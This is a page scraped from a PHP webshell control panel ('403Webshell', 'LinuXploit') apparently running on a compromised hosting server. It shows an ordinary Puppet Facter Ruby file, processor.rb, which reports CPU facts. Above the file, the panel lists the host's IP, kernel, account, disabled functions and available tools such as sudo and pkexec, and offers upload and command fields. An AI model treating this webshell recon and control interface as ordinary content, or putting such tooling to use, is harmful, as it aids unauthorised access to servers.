403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.145
Web Server : Apache
System : Linux hp3-wp-1011352.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2516497 ( 2094697)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/ruby/vendor_ruby/facter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/ruby/vendor_ruby/facter/processor.rb
# Fact: processor
#
# Purpose:
#   Additional Facts about the machine's CPUs.
#
# Resolution:
#   Utilizes values from the processors structured fact, which itself
#   uses various methods to collect CPU information, with implementation
#   dependent upon the OS of the system in question.
#
# Caveats:
#

# processor.rb
#
# Copyright (C) 2006 Mooter Media Ltd
# Author: Matthew Palmer <matt@solutionsfirst.com.au>
#


# We have to enumerate these outside a Facter.add block to get the processorN
# descriptions iteratively (but we need them inside the Facter.add block above
# for tests on processorcount to work)
processors = Facter.value(:processors)
if processors && (processor_list = processors["models"])
  processor_list.each_with_index do |processor, i|
    Facter.add("processor#{i}") do
      setcode { processor }
    end
  end
end

Facter.add("ProcessorCount") do
  confine do
    !Facter.value(:processors).nil?
  end

  setcode do
    if (processorcount = processors["count"])
      processorcount
    else
      nil
    end
  end
end

Facter.add("Processor") do
  confine :kernel => [:dragonfly,:freebsd,:openbsd]
  setcode do
    Facter::Util::POSIX.sysctl("hw.model")
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit